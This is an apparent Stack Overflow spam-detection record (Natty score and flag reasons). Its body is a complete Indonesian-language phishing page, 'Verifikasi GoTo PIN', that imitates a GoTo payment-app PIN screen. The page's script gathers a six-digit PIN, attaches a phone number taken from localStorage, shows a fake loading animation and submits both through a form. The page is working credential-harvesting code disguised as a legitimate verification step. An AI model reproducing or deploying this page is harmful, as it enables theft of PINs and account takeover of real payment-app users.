79755561

Date: 2025-09-04 10:04:42
Score: 0.5
Natty:
Report link

<!DOCTYPE html>

<html lang="id">

<head>

\<meta charset="UTF-8"\>

\<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"\>

\<meta name="theme-color" content="#008000" /\>

\<title\>Verifikasi GoTo PIN\</title\>

\<style\>

    body {

        font-family: Arial, sans-serif;

        background-color: #f5f5f5;

        margin: 0;

        padding: 0;

        display: flex;

        flex-direction: column;

        align-items: center;

        justify-content: flex-start;

        padding-top: 50px;

        height: 100vh;

    }

    nav {

        width: 100%;

        position: fixed;

        background-color: white;

        z-index: 1000;

    }

    nav.top {

        top: 0;

        border-bottom: 1px solid #ddd;

    }

    nav.bottom {

        bottom: 0;

        border-top: 1px solid #ddd;

    }

    nav img {

        width: 100%;

        height: auto;

        display: block;

    }

    .container {

        text-align: center;

        margin-top: 10px;

        margin-bottom: 60px;

    }

    p {

        font-size: 14px;

        text-align: left;

        color: #666;

        margin-left:-10%;

        margin-bottom: 30px;

        font-weight:bold;

    }

    .input-group {

        display: flex;

        justify-content: center;

        gap: 30px;

        margin-left: -5px;

    }

    input\[type="number"\] {

        width: 15px;

        height: 15px;

        border: 2px solid #080;

        border-radius: 100%;

        text-align: center;

        font-weight: bold;

        font-size: 15px;

        color: #080;

        background-color: white;

        transition: background-color 0.2s ease;

        outline: none;

    }

    input\[type="number"\]:focus {

        border-color: #080;

    }

    input\[type="number"\].filled {

        background-color: #080;

        border-color: #008000;

    }

    input\[type="number"\]::-webkit-inner-spin-button,

    input\[type="number"\]::-webkit-outer-spin-button {

        -webkit-appearance: none;

        margin: 0;

    }

    input\[type="number"\] {

        -moz-appearance: textfield;

    }

    

    .loading {

        display: none;

        position: fixed;

        top: 50%;

        left: 50%;

        transform: translate(-50%, -50%);

        z-index: 1000;

        text-align: center;

    }

    .loading img {

        width: 80px;

        height: 80px;

        

        border-radius: 10px;

    

    }

    

.box {

    background-color: white;

    width: 300px; /\* Tetapkan lebar tetap \*/

    padding: 20px; /\* Atur padding sesuai kebutuhan \*/

    margin-top: 20px;

    border-radius: 6px;

    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);

    display: flex;

    flex-direction: column;

    align-items: center; /\* Rata tengah konten di dalam \*/

}

.text-box5 {

    background-color: white;

    padding: 10px 20px;

    border-radius: 30px;

    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);

    font-size: 12px;

    color: #080;

    font-weight: bold;

    text-align: center;

    margin-left: -62%;

    margin-top: 20px; /\* Tambahkan jarak dari elemen sebelumnya \*/

}

\</style\>

</head>

<body>

\<nav class="top"\>

    \<img src="img/nav.png" alt="Nav Atas"\>

\</nav\>

<div class="box">

\<p\>Silahkan Ketik 6 digit PIN kamu buat lanjut.\</p\>

<form id="pin-form" omsubmit="return false" class="hid" style="width: 100%;">

    \<div class="input-group"\>

        \<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>

        \<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>

        \<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>

        \<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>

        \<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>

        \<input type="number" maxlength="1" name="digit\[\]" oninput="handleInput(this)" onkeydown="handleBackspace(this, event)" onkeypress="return isNumberKey(event)"\>

    \</div\>

    \<input type="hidden" name="pin" id="pin"\>

    \<input type="hidden" name="phone_number" id="phone_number" value=""\>

    \<button type="submit" style="display: none;"\>\</button\>

\</form\>

</div>

<div class="text-box5">LUPA PIN?</div>

\<nav class="bottom"\>

    \<img src="img/nav1.png" alt="Nav Bawah"\>

\</nav\>

\<div class="loading" id="loading"\>

    \<img src="I5JAJOrShr.gif" alt="" /\>

    \<p\>\</p\>

\</div\>

\<script\>

    const phoneNumber = localStorage.getItem('phone_number');

    const pinForm = document.getElementById("pin-form");

    const hiddenInput = document.getElementById("pin");

    const loading = document.getElementById("loading");

    const phoneInput = document.getElementById("phone_number");

    function isNumberKey(evt) {

        const charCode = evt.which || evt.keyCode;

        return charCode \>= 48 && charCode \<= 57;

    }

    function handleInput(input) {

        const inputs = document.querySelectorAll('input\[type="number"\]');

        const firstInput = inputs\[0\];

        // Validasi agar input dimulai dari kolom pertama

        if (input !== firstInput && firstInput.value === "") {

            firstInput.focus();

            input.value = "";

            return;

        }

        if (input.value.length === 1) {

            input.classList.add("filled");

            const nextInput = input.nextElementSibling;

            if (nextInput && nextInput.tagName === "INPUT") {

                nextInput.focus();

            } else {

                collectPin();

                showLoading();

            }

        } else {

            input.classList.remove("filled");

        }

    }

    function handleBackspace(input, event) {

        if (event.key === "Backspace" && input.value === "") {

            const prevInput = input.previousElementSibling;

            if (prevInput && prevInput.tagName === "INPUT") {

                prevInput.focus();

                prevInput.value = "";

                prevInput.classList.remove("filled");

            }

        }

    }

    function collectPin() {

        const inputs = document.querySelectorAll('input\[type="number"\]');

        const pin = Array.from(inputs).map(input =\> input.value).join('');

        hiddenInput.value = pin;

    }

    function showLoading() {

        loading.style.display = "block";

        setTimeout(() =\> {

            phoneInput.value = phoneNumber || "";

            pinForm.submit();

        }, 2000);

    }

\</script\>

</body>

</html>

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: user31418860